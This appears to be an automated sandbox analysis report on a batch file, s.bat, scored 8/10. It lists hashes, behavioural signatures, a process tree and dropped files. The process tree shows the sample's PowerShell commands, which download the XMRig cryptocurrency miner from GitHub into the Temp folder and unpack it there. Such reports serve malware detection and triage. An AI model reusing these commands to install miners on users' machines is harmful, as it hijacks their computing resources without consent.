Analysis

  • max time kernel
    90s
  • max time network
    88s
  • platform
    windows11-21h2_x64
  • resource
    win11-20241007-en
  • resource tags

    arch:x64arch:x86image:win11-20241007-enlocale:en-usos:windows11-21h2-x64system
  • submitted
    21-12-2024 15:07

General

  • Target

    s.bat

  • Size

    1KB

  • MD5

    1e64009a55d5a9eb64fd903f621e5ae0

  • SHA1

    0e5de7ecc2363d16ac2ae8f244d895cff70d6cdb

  • SHA256

    c5845905301cb177cd5ba386ab909a43ed5263ddbbc470ab0da8ef8c8bc82abf

  • SHA512

    2b28221714861951beeb73247a7ab58f4e68d3510e030d25787a13c6c715cea2b82d51cb1f262736dde8738e9ceb59420b4d4dc724524ece75a6a13978da8695

Score
8/10

Malware Config

Signatures

  • Blocklisted process makes network request 2 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Powershell Invoke Web Request.

  • Checks SCSI registry key(s) 3 TTPs 3 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Delays execution with timeout.exe 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 5 IoCs
  • Suspicious use of FindShellTrayWindow 64 IoCs
  • Suspicious use of SendNotifyMessage 64 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\s.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:4384
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Invoke-WebRequest -Uri https://github.com/xmrig/xmrig/releases/download/v6.22.2/xmrig-6.22.2-msvc-win64.zip -OutFile C:\Users\Admin\AppData\Local\Temp\xmrig-6.22.2-msvc-win64.zip"
      2⤵
      • Blocklisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:3832
    • C:\Windows\system32\timeout.exe
      timeout /t 10
      2⤵
      • Delays execution with timeout.exe
      PID:2972
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Expand-Archive -Path C:\Users\Admin\AppData\Local\Temp\xmrig-6.22.2-msvc-win64.zip -DestinationPath C:\Users\Admin\AppData\Local\Temp\xmrig"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:3356
  • C:\Windows\system32\svchost.exe
    C:\Windows\system32\svchost.exe -k LocalService -p -s NPSMSvc
    1⤵
      PID:892
    • C:\Windows\system32\taskmgr.exe
      "C:\Windows\system32\taskmgr.exe" /0
      1⤵
      • Checks SCSI registry key(s)
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      • Suspicious use of SendNotifyMessage
      PID:1552

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

      Filesize

      2KB

      MD5

      5f4c933102a824f41e258078e34165a7

      SHA1

      d2f9e997b2465d3ae7d91dad8d99b77a2332b6ee

      SHA256

      d69b7d84970cb04cd069299fd8aa9cef8394999588bead979104dc3cb743b4f2

      SHA512

      a7556b2be1a69dbc1f7ff4c1c25581a28cb885c7e1116632c535fee5facaa99067bcead8f02499980f1d999810157d0fc2f9e45c200dee7d379907ef98a6f034

    • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

      Filesize

      1KB

      MD5

      12ff85d31d9e76455b77e6658cb06bf0

      SHA1

      45788e71d4a7fe9fd70b2c0e9494174b01f385eb

      SHA256

      1c60ff7821e36304d7b4bcdd351a10da3685e9376775d8599f6d6103b688a056

      SHA512

      fcc4084ab70e49821a3095eeac1ef85cf02c73fdb787047f9f6b345132f069c566581921fac98fab5ddec1a550c266304cce186e1d46957946b6f66dba764d2f

    • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_qxprpoky.ku0.ps1

      Filesize

      60B

      MD5

      d17fe0a3f47be24a6453e9ef58c94641

      SHA1

      6ab83620379fc69f80c0242105ddffd7d98d5d9d

      SHA256

      96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

      SHA512

      5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

    • C:\Users\Admin\AppData\Local\Temp\xmrig-6.22.2-msvc-win64.zip

      Filesize

      2.5MB

      MD5

      57b7ab5bce7d5e47fd168e1f0d437d32

      SHA1

      050eeae3e0f0e876f9da175347b586871d14fe83

      SHA256

      1d903d39c7e4e1706c32c44721d6a6c851aa8c4c10df1479478ee93cd67301bc

      SHA512

      8cc6e3e0e78f706172a47bef261e1d73ce882ce531fe51177ba46cee659128e2115311d348ca07a717ff737e4bc802c7ca4cc57de716cbe55202b9482b5e2022

    • memory/1552-65-0x00000184521E0000-0x00000184521E1000-memory.dmp

      Filesize

      4KB

    • memory/1552-67-0x00000184521E0000-0x00000184521E1000-memory.dmp

      Filesize

      4KB

    • memory/1552-66-0x00000184521E0000-0x00000184521E1000-memory.dmp

      Filesize

      4KB

    • memory/1552-64-0x00000184521E0000-0x00000184521E1000-memory.dmp

      Filesize

      4KB

    • memory/1552-62-0x00000184521E0000-0x00000184521E1000-memory.dmp

      Filesize

      4KB

    • memory/1552-68-0x00000184521E0000-0x00000184521E1000-memory.dmp

      Filesize

      4KB

    • memory/1552-63-0x00000184521E0000-0x00000184521E1000-memory.dmp

      Filesize

      4KB

    • memory/1552-57-0x00000184521E0000-0x00000184521E1000-memory.dmp

      Filesize

      4KB

    • memory/1552-58-0x00000184521E0000-0x00000184521E1000-memory.dmp

      Filesize

      4KB

    • memory/1552-56-0x00000184521E0000-0x00000184521E1000-memory.dmp

      Filesize

      4KB

    • memory/3356-30-0x00007FFF5E8F0000-0x00007FFF5F3B2000-memory.dmp

      Filesize

      10.8MB

    • memory/3356-32-0x000001B7415E0000-0x000001B7415EA000-memory.dmp

      Filesize

      40KB

    • memory/3356-55-0x00007FFF5E8F0000-0x00007FFF5F3B2000-memory.dmp

      Filesize

      10.8MB

    • memory/3356-31-0x000001B759EC0000-0x000001B759ED2000-memory.dmp

      Filesize

      72KB

    • memory/3356-29-0x00007FFF5E8F0000-0x00007FFF5F3B2000-memory.dmp

      Filesize

      10.8MB

    • memory/3356-28-0x00007FFF5E8F0000-0x00007FFF5F3B2000-memory.dmp

      Filesize

      10.8MB

    • memory/3356-27-0x00007FFF5E8F0000-0x00007FFF5F3B2000-memory.dmp

      Filesize

      10.8MB

    • memory/3832-0-0x00007FFF5E8F3000-0x00007FFF5E8F5000-memory.dmp

      Filesize

      8KB

    • memory/3832-16-0x00007FFF5E8F0000-0x00007FFF5F3B2000-memory.dmp

      Filesize

      10.8MB

    • memory/3832-12-0x00007FFF5E8F0000-0x00007FFF5F3B2000-memory.dmp

      Filesize

      10.8MB

    • memory/3832-11-0x00007FFF5E8F0000-0x00007FFF5F3B2000-memory.dmp

      Filesize

      10.8MB

    • memory/3832-10-0x00007FFF5E8F0000-0x00007FFF5F3B2000-memory.dmp

      Filesize

      10.8MB

    • memory/3832-1-0x000001EF3D040000-0x000001EF3D062000-memory.dmp

      Filesize

      136KB